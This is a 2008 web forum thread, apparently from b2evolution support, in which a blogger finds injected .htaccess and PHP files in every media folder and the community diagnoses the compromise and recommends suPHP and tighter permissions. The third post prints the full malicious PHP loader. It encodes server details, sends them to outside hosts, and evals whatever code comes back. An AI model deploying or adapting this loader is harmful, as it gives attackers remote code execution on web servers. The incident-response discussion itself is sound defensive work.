Recent Topics

1 Apr 17, 2008 15:27    

hmmm...

In *every* folder in my media directory I found a php file and a .htaccess file with (effectively) the same date/time stamp. The .htaccess file looks like this:


Options -MultiViews
ErrorDocument 404 //media/blogs/detoxblog/89125.php


Each one pointing to a slightly different NNNNN.php file, and all of them look like this:

DELETED since I pasted it below and I don't like horizontal scroll bars on forum pages - EdB

I hope that breaks into lines here in the forums, but it is all one line in the various files I found.

By the way it is in ALL the folders. Given that each uploaded image and file has a little folder named after itself you can imagine I have HUNDREDS of these things. I therefore deleted my media folder and will continue searching out more of these things.

So it's obviously a hack of some sort. An attempt to redirect any 404s to somewhere. Obvious to me anyway even though I don't understand what that php file does. At this point all I've done is notice, backup everything, and delete my media folder. I'll have to poke around a bit to see where else I can find this culprit, but I really think it is time to back up all my databases and move on given that today is the day my hosting account runs out.

By the way I can't use my FTP program to delete files that I uploaded via file manager (which pisses me off but allows file manager to make it's little thumbnails and stuff so I live with it that way), and I can't use my FTP to delete these alien files, so I'm drawing an association with this problem and file manager. So if the really smart people around here have a clue what's up or want some more info on this hack lemme know and I'll do what I can regarding investigative work.

2 Apr 17, 2008 15:42

Interesting that an addon domain in my webspace has the same exact problem yah?

3 Apr 17, 2008 15:45

Here is the .php file broken into lines based on finding ; and considering that the end of a line:

<? error_reporting(0);
$s="e";
$a=(isset($_SERVER["HTTP_HOST"]) ? $_SERVER["HTTP_HOST"] : $HTTP_HOST);
$b=(isset($_SERVER["SERVER_NAME"]) ? $_SERVER["SERVER_NAME"] : $SERVER_NAME);
$c=(isset($_SERVER["REQUEST_URI"]) ? $_SERVER["REQUEST_URI"] : $REQUEST_URI);
$d=(isset($_SERVER["PHP_SELF"]) ? $_SERVER["PHP_SELF"] : $PHP_SELF);
$e=(isset($_SERVER["QUERY_STRING"]) ? $_SERVER["QUERY_STRING"] : $QUERY_STRING);
$f=(isset($_SERVER["HTTP_REFERER"]) ? $_SERVER["HTTP_REFERER"] : $HTTP_REFERER);
$g=(isset($_SERVER["HTTP_USER_AGENT"]) ? $_SERVER["HTTP_USER_AGENT"] : $HTTP_USER_AGENT);
$h=(isset($_SERVER["REMOTE_ADDR"]) ? $_SERVER["REMOTE_ADDR"] : $REMOTE_ADDR);
$i=(isset($_SERVER["SCRIPT_FILENAME"]) ? $_SERVER["SCRIPT_FILENAME"] : $SCRIPT_FILENAME);
$j=(isset($_SERVER["HTTP_ACCEPT_LANGUAGE"]) ? $_SERVER["HTTP_ACCEPT_LANGUAGE"] : $HTTP_ACCEPT_LANGUAGE);
$str=base64_encode($a).".".base64_encode($b).".".base64_encode($c).".".base64_encode($d).".".base64_encode($e)." .".base64_encode($f).".".base64_encode($g).".".base64_encode($h).".$s.".base64_encode($i).".".base64_encode($j);

if ((include(base64_decode("aHR0cDovLw==").base64_decode("d3d3My5yc3NuZXdzLndz")."/?".$str))){}
else if (include(base64_decode("aHR0cDovLw==").base64_decode("d3d3My54bWxkYXRhLmluZm8=")."/?".$str));
else if ($c=file_get_contents(base64_decode("aHR0cDovLzcucnNzbmV3cy53cy8/").$str))eval($c);
else{$cu=curl_init(base64_decode("aHR0cDovLzcucnNzbmV3cy53cy8/").$str);
curl_setopt($cu,CURLOPT_RETURNTRANSFER,1);
$str=curl_exec($cu);
curl_close($cu);
eval($str);
};

?>


Which, of course, means nothing to me.

EDIT: forced a line break to maybe stop the horizontal scroll bar from showing up on the page

4 Apr 17, 2008 16:04

Engaging host in researching root cause. My raw access logs tell me nothing at the time stamp in question, although I do have a handful of 404s from someone looking for media/foldername/index.php - which of course doesn't exist.

5 Apr 17, 2008 16:21

The chances are this wasn't done by accessing your webspace but via another users webspace on the same box.

For now, remove all those files and chmod your media folder to whatever the number is for read only ( 0444 )

¥

6 Apr 17, 2008 16:25

Sounds like a good idea to me. Especially since I can't find hide nor hair of anyone accessing at that time ... which means nothing compared to a highly skilled hacker who might delete all drives at 127.0.0.1 yah?

7 Apr 17, 2008 16:30

I'm still laughing at that arse :D

¥

8 Apr 17, 2008 21:25

My web host wrote:

Taking this in to consideration, we have changed the module with loads PHP from 'DSO' to 'Mod_SuPHP'.

I don't know what that means, but it follows a bit of dialog regarding this "hack". I would have to look backwards at my posts to see when I set my media folder from 777 to 775, but for sure they agreed 777 was bad. I then explained that I don't know when I switched to 775 and told them I would re-upload and set to 775 and keep an eye on it. Then I see the above bit.

Actually the whole thing is more crazy-talk to me. Perhaps ¥åßßå you can translate the following to something resembling English?

This new configuration won't allow a script to access a file or directory outside its 'home'. By this a malicious script running on another user won't affect you or other users in any way.

This new setup won't load PHP scripts if they reside in a directory with 'Group' or 'Others' having write permission. If the script itself is writable to 'Others' or 'Group' the script won't load.

For PHP uploads, please leave the directory as 755 permissions. Since the scripts are running as its own user, it will be able to write to a folder which has 755 permissions.

I believe this new setup will help you with the 777 directory upload problems you were having.

Please check this and let us know if you have any further queries.

The part I grow confused at is ... hmmm... "since the script is running as it's own user" part. Like, "the script" is running as it's own user but I'm not uploading php files although I am using php files to handle the uploads. Also the files that are doing the uploading do not live inside the media folder, so I'm halfway thinking "this won't work" but I honestly have no clue.

I told my host I would do a brand new v241 installation and try it with media set to 755 (the default value I think) and see what I get. If need be I would go to 775, but would not play with 777 anymore. Also gonna do a brand new installation because of how I wiped out and re-uploaded the media folder. It has the .evocache folders again, but technically speaking b2evolution did not write them this time.

I confuse rather easily. This would truly be a nice time to pour up a shot or four and give some 'deep thought' to what the heck all this stuff means.

9 Apr 17, 2008 22:16

Changing the permissions with chmod won't help you if the files belong to the PHP process anyway, because php can change the perms back from any othe ruser account on the server.

You could change the owner... but then you won't be able to use the FM anymore.

Ask your host if they use suphp (which makes each account run under it's own user). If they're not, go away.

In b2evo 2.4, the system page can tell you which user and group PHP is running on. If it doesn't say your own FTP login there, it's bad. (it means there is no suphp).

10 Apr 17, 2008 22:22

Okay cool. A bit more to look into and learn about yah?

Bummer that I find this stuff out the day I either renew or move on given that I'm in no realistic position to move on. I should try to remember that "tax day is move day" next year because I pay for a yearly account with my host.

Oh well. I'll just bite it and re-up with them, knowing that reasonably soon I will probably move on and eat the loss. Wouldn't be the first time I blew money on hosting ... and probably won't be the last :roll:

Oh crap I gotta get ready to go make some overtime money and I still haven't hacked up the message form on a 1103 installation into yet another silly little form that they absolutely need yesterday. Good thing I don't do forms for a living ;)

11 Apr 17, 2008 23:48

fplanque wrote:

Changing the permissions with chmod won't help you if the files belong to the PHP process anyway, because php can change the perms back from any othe ruser account on the server

By deleting the files and changing the perms to read only it kinda kills that ability ;)

EdB wrote:

My web host wrote:

Taking this in to consideration, we have changed the module with loads PHP from 'DSO' to 'Mod_SuPHP'.

This basically means that your php scripts run as your user account so it has the ability to write files that are "0200". This is a good thing as you can remove write abilities from "group" and "world" which means the skiddies are limited to pissing around with their own 127.0.0.1.

The flip side is ( as they said ), if you have group or world write access on a file/folder ( ##22 ) then you get a server error ( 500 .... replace user and reboot .... or summat ) .... apparently php7 can detect if a user has a myspace account in which case it refuse to have anything to do with them .. progress is cool :D

¥

12 Apr 18, 2008 01:37

¥åßßå wrote:

By deleting the files and changing the perms to read only it kinda kills that ability ;)

Is does not. Any other account running PHP can change the permissions of your media folder to enable write access and then recreate the file.

There are a million tricks to supposedly prevent other users from being able to get out of their own home but it's basically a pipe dream.

The only serious solution is suPHP.

13 Apr 18, 2008 13:01

Okay this is pretty cool.

Yeah they got the mod_suphp goin' on. Didn't dawn on me until I just looked again, but that's what I quoted them above as saying. They changed from DSO to MOD_SuPHP. On the Tools->System subtab it says my FTP login with a uid:number and gid:number for USER and GROUP. Dunno what the uid and gid is or the number but whatever it is they seem like nice numbers.

And hey with the CHMOD thingies set to 755 I get to upload stuff via file manager even after having downloaded and deleted and uploaded again.

So now I should go over to the feedback and requests area and say how the manual might want to NOT say to CHMOD those directories to 777 eh?

14 Apr 18, 2008 17:34

No, if you don't have suPHP, you basically need chmods like 777 (dirs) and 666 (files). You may restrict it more but that's going to be on a case by case basis for EACH host that does NOT run suPHP!

If you DO have suPHP (i-e your ftp login in the user field in the system page), the you should be able to get away with something as restrictive as 700 (dirs) and 600 (files).

Please do NOT change the manual unless you explicitely make a distinction between suphp and NOT suphp. The manual currently tells you how to solve your problems on NON suphp (which also works on suphp hosts). Kind of lowest common denominator.

NON suphp hosts *can* be secure but that requires a lot of expertise which apparently is going away these days. No longer state of the art. Move away from non suphp hosts.

15 Apr 18, 2008 18:55

Actually the idea was to see what you get when you hit the Files tab before changing file attributes. Doesn't matter if the person knows squat about suphp because if you get red you probably gotta chmod something right? The way it's written even people who don't need to are told to change to 777, but hey testing will tell if it needs doing.

No worries though. I'm more into plugins and core file hacks than working in a wiki :) And crap I'm way behind on a stupid form hack I gotta do to a 1103 installation and updating a couple of plugins with identified problems and documenting my favorite core hack that I lost when I went up from 230. Core hacks are a drag but hey if the core was perfect there would never be another release planned yah?


Form is loading...